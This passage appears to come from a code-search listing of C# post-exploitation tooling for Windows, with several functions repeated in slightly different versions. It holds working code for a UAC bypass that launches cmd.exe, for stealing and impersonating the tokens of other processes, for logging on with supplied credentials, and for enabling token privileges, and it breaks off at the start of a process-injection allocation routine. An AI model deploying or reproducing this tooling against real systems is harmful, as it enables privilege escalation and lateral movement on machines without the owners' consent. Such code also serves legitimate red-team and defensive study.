                    Console.Error.WriteLine("DuplicateTokenEx() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    continue;
                }
                this.OpenHandles.Add(hDuplicateToken2);
                this.CloseHandle(hFilteredToken);

                if (!Win32.Advapi32.ImpersonateLoggedOnUser(hDuplicateToken2))
                {
                    Console.Error.WriteLine("ImpersonateLoggedOnUser() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    continue;
                }

                Win32.ProcessThreadsAPI._STARTUPINFO startupInfo = new Win32.ProcessThreadsAPI._STARTUPINFO();
                startupInfo.cb = (UInt32)Marshal.SizeOf(typeof(Win32.ProcessThreadsAPI._STARTUPINFO));
                Win32.ProcessThreadsAPI._PROCESS_INFORMATION processInformation = new Win32.ProcessThreadsAPI._PROCESS_INFORMATION();
                if (!Win32.Advapi32.CreateProcessWithLogonW(Environment.UserName, Environment.UserDomainName, "preplacedword",
                    0x00000002, Path + Binary, Path + Binary + " " + Arguments, 0x04000000, IntPtr.Zero, Path, ref startupInfo, out processInformation))
                {
                    Console.Error.WriteLine("CreateProcessWithLogonW() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    continue;
                }

                return this.RevertToSelf();
            }
            return false;

        }

19 Source : Tokens.cs
with BSD 3-Clause "New" or "Revised" License
from cobbr

public T RunAs<T>(string Username, string Domain, string Preplacedword, Func<T> Action, Win32.Advapi32.LOGON_TYPE LogonType = Win32.Advapi32.LOGON_TYPE.LOGON32_LOGON_INTERACTIVE)
        {
            IntPtr hProcessToken = IntPtr.Zero;
            if (!Win32.Advapi32.LogonUserA(
                Username, Domain, Preplacedword,
                LogonType, Win32.Advapi32.LOGON_PROVIDER.LOGON32_PROVIDER_DEFAULT,
                out hProcessToken))
            {
                Console.Error.WriteLine("LogonUserA() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                return default(T);
            }
            this.OpenHandles.Add(hProcessToken);

            if (!Win32.Advapi32.ImpersonateLoggedOnUser(hProcessToken))
            {
                Console.Error.WriteLine("ImpersonateLoggedOnUser() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                this.CloseHandle(hProcessToken);
                return default(T);
            }

            T results = Action();
            this.RevertToSelf();
            return results;
        }

19 Source : Tokens.cs
with BSD 3-Clause "New" or "Revised" License
from cobbr

private static string ConvertTokenStatisticsToUsername(Win32.WinNT._TOKEN_STATISTICS tokenStatistics)
        {
            IntPtr lpLuid = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(Win32.WinNT._LUID)));
            Marshal.StructureToPtr(tokenStatistics.AuthenticationId, lpLuid, false);
            if(lpLuid == IntPtr.Zero)
            {
                Console.Error.WriteLine("PtrToStructure() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                return "";
            }

            IntPtr ppLogonSessionData = new IntPtr();
            if (Win32.Secur32.LsaGetLogonSessionData(lpLuid, out ppLogonSessionData) != 0)
            {
                Console.Error.WriteLine("LsaGetLogonSessionData() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                return "";
            }
            if (ppLogonSessionData == IntPtr.Zero)
            {
                Console.Error.WriteLine("LsaGetLogonSessionData() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                return "";
            }

            Win32.Secur32._SECURITY_LOGON_SESSION_DATA securityLogonSessionData = (Win32.Secur32._SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(ppLogonSessionData, typeof(Win32.Secur32._SECURITY_LOGON_SESSION_DATA));
            if (securityLogonSessionData.pSid == IntPtr.Zero || securityLogonSessionData.Username.Buffer == IntPtr.Zero || securityLogonSessionData.LoginDomain.Buffer == IntPtr.Zero)
            {
                Console.Error.WriteLine("PtrToStructure() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                return "";
            }

            return Marshal.PtrToStringUni(securityLogonSessionData.LoginDomain.Buffer) + "\\" + Marshal.PtrToStringUni(securityLogonSessionData.Username.Buffer);
        }

19 Source : Tokens.cs
with BSD 3-Clause "New" or "Revised" License
from cobbr

private IntPtr GetCurrentProcessToken()
        {
            IntPtr currentProcessToken = new IntPtr();
            if (!Win32.Kernel32.OpenProcessToken(Process.GetCurrentProcess().Handle, Win32.Advapi32.TOKEN_ALL_ACCESS, out currentProcessToken))
            {
                Console.Error.WriteLine("OpenProcessToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                return IntPtr.Zero;
            }
            OpenHandles.Add(currentProcessToken);
            return currentProcessToken;
        }

19 Source : Tokens.cs
with BSD 3-Clause "New" or "Revised" License
from cobbr

private IntPtr GetTokenForProcess(UInt32 ProcessID)
        {
            IntPtr hProcess = Win32.Kernel32.OpenProcess(Win32.Kernel32.ProcessAccessFlags.PROCESS_QUERY_INFORMATION, true, ProcessID);
            if (hProcess == IntPtr.Zero)
            {
                Console.Error.WriteLine("OpenProcess() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                return IntPtr.Zero;
            }
            this.OpenHandles.Add(hProcess);

            IntPtr hProcessToken = IntPtr.Zero;
            if (!Win32.Kernel32.OpenProcessToken(hProcess, Win32.Advapi32.TOKEN_ALT, out hProcessToken))
            {
                Console.Error.WriteLine("OpenProcessToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                return IntPtr.Zero;
            }
            this.OpenHandles.Add(hProcessToken);
            this.CloseHandle(hProcess);

            return hProcessToken;
        }

19 Source : Tokens.cs
with BSD 3-Clause "New" or "Revised" License
from cobbr

public bool EnableTokenPrivilege(ref IntPtr hToken, string Privilege)
        {
            if (!Privileges.Contains(Privilege))
            {
                return false;
            }
            Win32.WinNT._LUID luid = new Win32.WinNT._LUID();
            if (!Win32.Advapi32.LookupPrivilegeValue(null, Privilege, ref luid))
            {
                Console.Error.WriteLine("LookupPrivilegeValue() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                return false;
            }

            Win32.WinNT._LUID_AND_ATTRIBUTES luidAndAttributes = new Win32.WinNT._LUID_AND_ATTRIBUTES();
            luidAndAttributes.Luid = luid;
            luidAndAttributes.Attributes = Win32.WinNT.SE_PRIVILEGE_ENABLED;

            Win32.WinNT._TOKEN_PRIVILEGES newState = new Win32.WinNT._TOKEN_PRIVILEGES();
            newState.PrivilegeCount = 1;
            newState.Privileges = luidAndAttributes;

            Win32.WinNT._TOKEN_PRIVILEGES previousState = new Win32.WinNT._TOKEN_PRIVILEGES();
            UInt32 returnLength = 0;
            if (!Win32.Advapi32.AdjustTokenPrivileges(hToken, false, ref newState, (UInt32)Marshal.SizeOf(newState), ref previousState, out returnLength))
            {
                Console.Error.WriteLine("AdjustTokenPrivileges() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                return false;
            }

            return true;
        }

19 Source : Tokens.cs
with BSD 3-Clause "New" or "Revised" License
from cobbr

private static string ConvertTokenStatisticsToUsername(Win32.WinNT._TOKEN_STATISTICS tokenStatistics)
            {
                IntPtr lpLuid = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(Win32.WinNT._LUID)));
                Marshal.StructureToPtr(tokenStatistics.AuthenticationId, lpLuid, false);
                if (lpLuid == IntPtr.Zero)
                {
                    Console.Error.WriteLine("PtrToStructure() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    return "";
                }

                IntPtr ppLogonSessionData = new IntPtr();
                if (Win32.Secur32.LsaGetLogonSessionData(lpLuid, out ppLogonSessionData) != 0)
                {
                    Console.Error.WriteLine("LsaGetLogonSessionData() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    return "";
                }
                if (ppLogonSessionData == IntPtr.Zero)
                {
                    Console.Error.WriteLine("LsaGetLogonSessionData() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    return "";
                }

                Win32.Secur32._SECURITY_LOGON_SESSION_DATA securityLogonSessionData = (Win32.Secur32._SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(ppLogonSessionData, typeof(Win32.Secur32._SECURITY_LOGON_SESSION_DATA));
                if (securityLogonSessionData.pSid == IntPtr.Zero || securityLogonSessionData.Username.Buffer == IntPtr.Zero || securityLogonSessionData.LoginDomain.Buffer == IntPtr.Zero)
                {
                    Console.Error.WriteLine("PtrToStructure() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    return "";
                }

                if (Marshal.PtrToStringUni(securityLogonSessionData.Username.Buffer) == Environment.MachineName + "$")
                {
                    string Username = ConvertSidToName(securityLogonSessionData.pSid);
                    if (Username == null || Username == "")
                    {
                        Console.Error.WriteLine("No Username Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                        return "";
                    }
                    return Username;
                }

                return Marshal.PtrToStringUni(securityLogonSessionData.LoginDomain.Buffer) + "\\" + Marshal.PtrToStringUni(securityLogonSessionData.Username.Buffer);
            }

19 Source : Tokens.cs
with BSD 3-Clause "New" or "Revised" License
from cobbr

public bool MakeToken(string Username, string Domain, string Preplacedword, Win32.Advapi32.LOGON_TYPE LogonType = Win32.Advapi32.LOGON_TYPE.LOGON32_LOGON_NEW_CREDENTIALS)
        {
            IntPtr hProcessToken = IntPtr.Zero;
            if (!Win32.Advapi32.LogonUserA(
                Username, Domain, Preplacedword,
                LogonType, Win32.Advapi32.LOGON_PROVIDER.LOGON32_PROVIDER_DEFAULT,
                out hProcessToken)
                )
            {
                Console.Error.WriteLine("LogonUserA() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                return false;
            }
            this.OpenHandles.Add(hProcessToken);

            if (!Win32.Advapi32.ImpersonateLoggedOnUser(hProcessToken))
            {
                Console.Error.WriteLine("ImpersonateLoggedOnUser() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                this.CloseHandle(hProcessToken);
                return false;
            }
            return true;
        }

19 Source : Tokens.cs
with BSD 3-Clause "New" or "Revised" License
from cobbr

public bool RevertToSelf()
        {
            if (!Win32.Advapi32.RevertToSelf())
            {
                Console.Error.WriteLine("RevertToSelf() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                return false;
            }
            return true;
        }

19 Source : Tokens.cs
with BSD 3-Clause "New" or "Revised" License
from cobbr

public bool ImpersonateProcess(UInt32 ProcessID)
        {
            IntPtr hProcessToken = GetTokenForProcess(ProcessID);
            if (hProcessToken == IntPtr.Zero)
            {
                return false;
            }

            Win32.WinBase._SECURITY_ATTRIBUTES securityAttributes = new Win32.WinBase._SECURITY_ATTRIBUTES();
            IntPtr hDuplicateToken = IntPtr.Zero;
            if (!Win32.Advapi32.DuplicateTokenEx(
                    hProcessToken,
                    (UInt32)Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED,
                    ref securityAttributes,
                    Win32.WinNT._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
                    Win32.WinNT.TOKEN_TYPE.TokenPrimary,
                    out hDuplicateToken
                )
            )
            {
                Console.Error.WriteLine("DuplicateTokenEx() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                this.CloseHandle(hProcessToken);
                return false;
            }
            this.OpenHandles.Add(hDuplicateToken);

            if (!Win32.Advapi32.ImpersonateLoggedOnUser(hDuplicateToken))
            {
                Console.Error.WriteLine("ImpersonateLoggedOnUser() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                this.CloseHandle(hProcessToken);
                this.CloseHandle(hDuplicateToken);
                return false;
            }
            this.CloseHandle(hProcessToken);
            return true;
        }

19 Source : Tokens.cs
with BSD 3-Clause "New" or "Revised" License
from cobbr

private static string ConvertTokenStatisticsToUsername(Win32.WinNT._TOKEN_STATISTICS tokenStatistics)
        {
            IntPtr lpLuid = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(Win32.WinNT._LUID)));
            Marshal.StructureToPtr(tokenStatistics.AuthenticationId, lpLuid, false);
            if(lpLuid == IntPtr.Zero)
            {
                Console.Error.WriteLine("PtrToStructure() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                return "";
            }

            IntPtr ppLogonSessionData = new IntPtr();
            if (PInvoke.Win32.Secur32.LsaGetLogonSessionData(lpLuid, out ppLogonSessionData) != 0)
            {
                Console.Error.WriteLine("LsaGetLogonSessionData() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                return "";
            }
            if (ppLogonSessionData == IntPtr.Zero)
            {
                Console.Error.WriteLine("LsaGetLogonSessionData() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                return "";
            }

            Win32.Secur32._SECURITY_LOGON_SESSION_DATA securityLogonSessionData = (Win32.Secur32._SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(ppLogonSessionData, typeof(Win32.Secur32._SECURITY_LOGON_SESSION_DATA));
            if (securityLogonSessionData.pSid == IntPtr.Zero || securityLogonSessionData.Username.Buffer == IntPtr.Zero || securityLogonSessionData.LoginDomain.Buffer == IntPtr.Zero)
            {
                Console.Error.WriteLine("PtrToStructure() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                return "";
            }

            return Marshal.PtrToStringUni(securityLogonSessionData.LoginDomain.Buffer) + "\\" + Marshal.PtrToStringUni(securityLogonSessionData.Username.Buffer);
        }

19 Source : Tokens.cs
with BSD 3-Clause "New" or "Revised" License
from cobbr

public bool BypreplacedUAC(string Binary = "cmd.exe", string Arguments = "", string Path = "C:\\WINDOWS\\System32\\", int ProcessId = 0)
        {
            string Username = WindowsIdenreplacedy.GetCurrent().Name;
            List<Process> processes = ProcessId == 0 ?
                                        this.GetUserProcessTokens(true).Select(UPT => UPT.Process).ToList() :
                                        new List<Process> { Process.GetProcessById(ProcessId) };
            foreach (Process process in processes)
            {
                // Get PrimaryToken
                IntPtr hProcess = PInvoke.Win32.Kernel32.OpenProcess(Win32.Kernel32.ProcessAccessFlags.PROCESS_QUERY_LIMITED_INFORMATION, false, (UInt32)process.Id);
                if (hProcess == IntPtr.Zero)
                {
                    Console.Error.WriteLine("OpenProcess() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    continue;
                }
                this.OpenHandles.Add(hProcess);

                IntPtr hProcessToken = IntPtr.Zero;
                if (!PInvoke.Win32.Kernel32.OpenProcessToken(hProcess, (UInt32)Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, out hProcessToken))
                {
                    Console.Error.WriteLine("OpenProcessToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    continue;
                }
                this.OpenHandles.Add(hProcessToken);
                this.CloseHandle(hProcess);

                Win32.WinBase._SECURITY_ATTRIBUTES securityAttributes = new Win32.WinBase._SECURITY_ATTRIBUTES();
                IntPtr hDuplicateToken = IntPtr.Zero;
                if (!PInvoke.Win32.Advapi32.DuplicateTokenEx(
                       hProcessToken,
                       (UInt32)Win32.Advapi32.TOKEN_ALL_ACCESS,
                       ref securityAttributes,
                       Win32.WinNT._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
                       Win32.WinNT.TOKEN_TYPE.TokenPrimary,
                       out hDuplicateToken)
                   )
                {
                    Console.Error.WriteLine("DuplicateTokenEx() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    continue;
                }
                this.OpenHandles.Add(hDuplicateToken);
                this.CloseHandle(hProcessToken);

                // SetTokenInformation
                Win32.WinNT._SID_IDENTIFIER_AUTHORITY pIdentifierAuthority = new Win32.WinNT._SID_IDENTIFIER_AUTHORITY();
                pIdentifierAuthority.Value = new byte[] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x10 };
                byte nSubAuthorityCount = 1;
                IntPtr pSid = new IntPtr();
                if (!PInvoke.Win32.Advapi32.AllocateAndInitializeSid(ref pIdentifierAuthority, nSubAuthorityCount, 0x2000, 0, 0, 0, 0, 0, 0, 0, out pSid))
                {
                    Console.Error.WriteLine("AllocateAndInitializeSid() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    continue;
                }

                Win32.WinNT._SID_AND_ATTRIBUTES sidAndAttributes = new Win32.WinNT._SID_AND_ATTRIBUTES();
                sidAndAttributes.Sid = pSid;
                sidAndAttributes.Attributes = Win32.WinNT.SE_GROUP_INTEGRITY_32;

                Win32.WinNT._TOKEN_MANDATORY_LABEL tokenMandatoryLevel = new Win32.WinNT._TOKEN_MANDATORY_LABEL();
                tokenMandatoryLevel.Label = sidAndAttributes;
                Int32 tokenMandatoryLabelSize = Marshal.SizeOf(tokenMandatoryLevel);

                if (PInvoke.Native.NtSetInformationToken(hDuplicateToken, 25, ref tokenMandatoryLevel, tokenMandatoryLabelSize) != 0)
                {
                    Console.Error.WriteLine("NtSetInformationToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    continue;
                }

                IntPtr hFilteredToken = IntPtr.Zero;
                if (PInvoke.Native.NtFilterToken(hDuplicateToken, 4, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref hFilteredToken) != 0)
                {
                    Console.Error.WriteLine("NtFilterToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    continue;
                }
                this.OpenHandles.Add(hFilteredToken);
                this.CloseHandle(hDuplicateToken);

                // ImpersonateUser
                Win32.WinBase._SECURITY_ATTRIBUTES securityAttributes2 = new Win32.WinBase._SECURITY_ATTRIBUTES();
                IntPtr hDuplicateToken2 = IntPtr.Zero;
                if (!PInvoke.Win32.Advapi32.DuplicateTokenEx(
                       hFilteredToken,
                       (UInt32)(Win32.Advapi32.TOKEN_IMPERSONATE | Win32.Advapi32.TOKEN_QUERY),
                       ref securityAttributes2,
                       Win32.WinNT._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
                       Win32.WinNT.TOKEN_TYPE.TokenImpersonation,
                       out hDuplicateToken2)
                   )
                {
                    Console.Error.WriteLine("DuplicateTokenEx() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    continue;
                }
                this.OpenHandles.Add(hDuplicateToken2);
                this.CloseHandle(hFilteredToken);

                if (!PInvoke.Win32.Advapi32.ImpersonateLoggedOnUser(hDuplicateToken2))
                {
                    Console.Error.WriteLine("ImpersonateLoggedOnUser() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    continue;
                }

                Win32.ProcessThreadsAPI._STARTUPINFO startupInfo = new Win32.ProcessThreadsAPI._STARTUPINFO();
                startupInfo.cb = (UInt32)Marshal.SizeOf(typeof(Win32.ProcessThreadsAPI._STARTUPINFO));
                Win32.ProcessThreadsAPI._PROCESS_INFORMATION processInformation = new Win32.ProcessThreadsAPI._PROCESS_INFORMATION();
                if (!PInvoke.Win32.Advapi32.CreateProcessWithLogonW(Environment.UserName, Environment.UserDomainName, "preplacedword",
                    0x00000002, Path + Binary, Path + Binary + " " + Arguments, 0x04000000, IntPtr.Zero, Path, ref startupInfo, out processInformation))
                {
                    Console.Error.WriteLine("CreateProcessWithLogonW() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    continue;
                }

                return this.RevertToSelf();
            }
            return false;

        }

19 Source : Tokens.cs
with BSD 3-Clause "New" or "Revised" License
from cobbr

public T RunAs<T>(string Username, string Domain, string Preplacedword, Func<T> Action, Win32.Advapi32.LOGON_TYPE LogonType = Win32.Advapi32.LOGON_TYPE.LOGON32_LOGON_INTERACTIVE)
        {
            IntPtr hProcessToken = IntPtr.Zero;
            if (!PInvoke.Win32.Advapi32.LogonUserA(
                Username, Domain, Preplacedword,
                LogonType, Win32.Advapi32.LOGON_PROVIDER.LOGON32_PROVIDER_DEFAULT,
                out hProcessToken))
            {
                Console.Error.WriteLine("LogonUserA() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                return default(T);
            }
            this.OpenHandles.Add(hProcessToken);

            if (!PInvoke.Win32.Advapi32.ImpersonateLoggedOnUser(hProcessToken))
            {
                Console.Error.WriteLine("ImpersonateLoggedOnUser() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                this.CloseHandle(hProcessToken);
                return default(T);
            }

            T results = Action();
            this.RevertToSelf();
            return results;
        }

19 Source : Tokens.cs
with BSD 3-Clause "New" or "Revised" License
from cobbr

public bool MakeToken(string Username, string Domain, string Preplacedword, Win32.Advapi32.LOGON_TYPE LogonType = Win32.Advapi32.LOGON_TYPE.LOGON32_LOGON_NEW_CREDENTIALS)
        {
            IntPtr hProcessToken = IntPtr.Zero;
            if (!PInvoke.Win32.Advapi32.LogonUserA(
                Username, Domain, Preplacedword,
                LogonType, Win32.Advapi32.LOGON_PROVIDER.LOGON32_PROVIDER_DEFAULT,
                out hProcessToken)
                )
            {
                Console.Error.WriteLine("LogonUserA() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                return false;
            }
            this.OpenHandles.Add(hProcessToken);

            if (!PInvoke.Win32.Advapi32.ImpersonateLoggedOnUser(hProcessToken))
            {
                Console.Error.WriteLine("ImpersonateLoggedOnUser() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                this.CloseHandle(hProcessToken);
                return false;
            }
            return true;
        }

19 Source : Tokens.cs
with BSD 3-Clause "New" or "Revised" License
from cobbr

public bool RevertToSelf()
        {
            if (!PInvoke.Win32.Advapi32.RevertToSelf())
            {
                Console.Error.WriteLine("RevertToSelf() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                return false;
            }
            return true;
        }

19 Source : Tokens.cs
with BSD 3-Clause "New" or "Revised" License
from cobbr

private static string ConvertTokenStatisticsToUsername(Win32.WinNT._TOKEN_STATISTICS tokenStatistics)
            {
                IntPtr lpLuid = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(Win32.WinNT._LUID)));
                Marshal.StructureToPtr(tokenStatistics.AuthenticationId, lpLuid, false);
                if (lpLuid == IntPtr.Zero)
                {
                    Console.Error.WriteLine("PtrToStructure() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    return "";
                }

                IntPtr ppLogonSessionData = new IntPtr();
                if (PInvoke.Win32.Secur32.LsaGetLogonSessionData(lpLuid, out ppLogonSessionData) != 0)
                {
                    Console.Error.WriteLine("LsaGetLogonSessionData() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    return "";
                }
                if (ppLogonSessionData == IntPtr.Zero)
                {
                    Console.Error.WriteLine("LsaGetLogonSessionData() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    return "";
                }

                Win32.Secur32._SECURITY_LOGON_SESSION_DATA securityLogonSessionData = (Win32.Secur32._SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(ppLogonSessionData, typeof(Win32.Secur32._SECURITY_LOGON_SESSION_DATA));
                if (securityLogonSessionData.pSid == IntPtr.Zero || securityLogonSessionData.Username.Buffer == IntPtr.Zero || securityLogonSessionData.LoginDomain.Buffer == IntPtr.Zero)
                {
                    Console.Error.WriteLine("PtrToStructure() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    return "";
                }

                if (Marshal.PtrToStringUni(securityLogonSessionData.Username.Buffer) == Environment.MachineName + "$")
                {
                    string Username = ConvertSidToName(securityLogonSessionData.pSid);
                    if (Username == null || Username == "")
                    {
                        Console.Error.WriteLine("No Username Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                        return "";
                    }
                    return Username;
                }

                return Marshal.PtrToStringUni(securityLogonSessionData.LoginDomain.Buffer) + "\\" + Marshal.PtrToStringUni(securityLogonSessionData.Username.Buffer);
            }

19 Source : Tokens.cs
with BSD 3-Clause "New" or "Revised" License
from cobbr

private IntPtr GetCurrentProcessToken()
        {
            if (!PInvoke.Win32.Kernel32.OpenProcessToken(Process.GetCurrentProcess().Handle, Win32.Advapi32.TOKEN_ALL_ACCESS, out IntPtr currentProcessToken))
            {
                Console.Error.WriteLine("OpenProcessToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                return IntPtr.Zero;
            }
            OpenHandles.Add(new IntPtr());
            return new IntPtr();
        }

19 Source : Shell.cs
with BSD 3-Clause "New" or "Revised" License
from cobbr

public static string CreateProcessWithToken(string Command, string Path, IntPtr hToken)
        {
            if (string.IsNullOrEmpty(Command)) { return ""; }

            using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable))
            {
                Win32.ProcessThreadsAPI._PROCESS_INFORMATION ProcInfo;
                using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.GetClientHandlereplacedtring()))
                {
                    Win32.ProcessThreadsAPI._STARTUPINFO StartupInfo = new Win32.ProcessThreadsAPI._STARTUPINFO
                    {
                        wShowWindow = 0,
                        hStdOutput = pipeClient.SafePipeHandle.DangerousGetHandle(),
                        hStdError = pipeClient.SafePipeHandle.DangerousGetHandle(),
                        dwFlags = (uint)(Win32.ProcessThreadsAPI.STARTF.STARTF_USESTDHANDLES | Win32.ProcessThreadsAPI.STARTF.STARTF_USESHOWWINDOW)
                    };
                    StartupInfo.cb = (uint)Marshal.SizeOf(StartupInfo);
                    
                    if (!PInvoke.Win32.Advapi32.CreateProcessWithTokenW(
                        hToken,                             // hToken
                        Win32.Advapi32.LOGON_FLAGS.NONE,    // dwLogonFlags
                        null,                               // lpApplicationName
                        Command,                            // lpCommandLine
                        Win32.Advapi32.CREATION_FLAGS.NONE, // dwCreationFlags
                        IntPtr.Zero,                        // lpEnvironment
                        Path,                               // lpCurrentDirectory
                        ref StartupInfo,                    // lpStartupInfo
                        out ProcInfo)                       // lpProcessInfo
                    )
                    {
                        return $"Error: {new Win32Exception(Marshal.GetLastWin32Error()).Message}";
                    }
                }
                using (StreamReader reader = new StreamReader(pipeServer))
                {
                    Thread t = new Thread(() =>
                    {
                        PInvoke.Win32.Kernel32.WaitForSingleObject(ProcInfo.hProcess, 0xFFFFFFFF);
                    });
                    t.Start();
                    string output =  reader.ReadToEnd();
                    t.Join();
                    return output;
                }
            }
        }

19 Source : Tokens.cs
with BSD 3-Clause "New" or "Revised" License
from cobbr

public bool ImpersonateProcess(UInt32 ProcessID)
        {
            IntPtr hProcessToken = GetTokenForProcess(ProcessID);
            if (hProcessToken == IntPtr.Zero)
            {
                return false;
            }

            Win32.WinBase._SECURITY_ATTRIBUTES securityAttributes = new Win32.WinBase._SECURITY_ATTRIBUTES();
            if (!PInvoke.Win32.Advapi32.DuplicateTokenEx(
                    hProcessToken,
                    (UInt32)Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED,
                    ref securityAttributes,
                    Win32.WinNT._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
                    Win32.WinNT.TOKEN_TYPE.TokenImpersonation,
                    out IntPtr hDuplicateToken
                )
            )
            {
                Console.Error.WriteLine("DuplicateTokenEx() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                this.CloseHandle(hProcessToken);
                return false;
            }
            this.OpenHandles.Add(hDuplicateToken);

            if (!PInvoke.Win32.Advapi32.ImpersonateLoggedOnUser(hDuplicateToken))
            {
                Console.Error.WriteLine("ImpersonateLoggedOnUser() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                this.CloseHandle(hProcessToken);
                this.CloseHandle(hDuplicateToken);
                return false;
            }
            this.CloseHandle(hProcessToken);
            return true;
        }

19 Source : Tokens.cs
with BSD 3-Clause "New" or "Revised" License
from cobbr

private IntPtr GetTokenForProcess(UInt32 ProcessID)
        {
            IntPtr hProcess = PInvoke.Win32.Kernel32.OpenProcess(Win32.Kernel32.ProcessAccessFlags.PROCESS_QUERY_INFORMATION, true, ProcessID);
            if (hProcess == IntPtr.Zero)
            {
                Console.Error.WriteLine("OpenProcess() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                return IntPtr.Zero;
            }
            this.OpenHandles.Add(hProcess);

            IntPtr hProcessToken = IntPtr.Zero;
            if (!PInvoke.Win32.Kernel32.OpenProcessToken(hProcess, Win32.Advapi32.TOKEN_ALT, out hProcessToken))
            {
                Console.Error.WriteLine("OpenProcessToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                return IntPtr.Zero;
            }
            this.OpenHandles.Add(hProcessToken);
            this.CloseHandle(hProcess);

            return hProcessToken;
        }

19 Source : Tokens.cs
with BSD 3-Clause "New" or "Revised" License
from cobbr

public static bool EnableTokenPrivilege(ref IntPtr hToken, string Privilege)
        {
            if (!Privileges.Contains(Privilege))
            {
                return false;
            }
            Win32.WinNT._LUID luid = new Win32.WinNT._LUID();
            if (!PInvoke.Win32.Advapi32.LookupPrivilegeValue(null, Privilege, ref luid))
            {
                Console.Error.WriteLine("LookupPrivilegeValue() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                return false;
            }

            Win32.WinNT._LUID_AND_ATTRIBUTES luidAndAttributes = new Win32.WinNT._LUID_AND_ATTRIBUTES
            {
                Luid = luid,
                Attributes = Win32.WinNT.SE_PRIVILEGE_ENABLED
            };

            Win32.WinNT._TOKEN_PRIVILEGES newState = new Win32.WinNT._TOKEN_PRIVILEGES
            {
                PrivilegeCount = 1,
                Privileges = luidAndAttributes
            };

            Win32.WinNT._TOKEN_PRIVILEGES previousState = new Win32.WinNT._TOKEN_PRIVILEGES();
            if (!PInvoke.Win32.Advapi32.AdjustTokenPrivileges(hToken, false, ref newState, (UInt32)Marshal.SizeOf(newState), ref previousState, out _))
            {
                Console.Error.WriteLine("AdjustTokenPrivileges() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
                return false;
            }

            return true;
        }

19 Source : VirtualAllocAllocationTechnique.cs
with BSD 3-Clause "New" or "Revised" License
from cobbr

public IntPtr Allocate(PICPayload Payload, Process Process, IntPtr PreferredAddress = new IntPtr())
        {
            // Get a convenient handle for the target process.
            IntPtr procHandle = Process.Handle;
            // Allocate some memory
            IntPtr regionAddress = PreferredAddress;

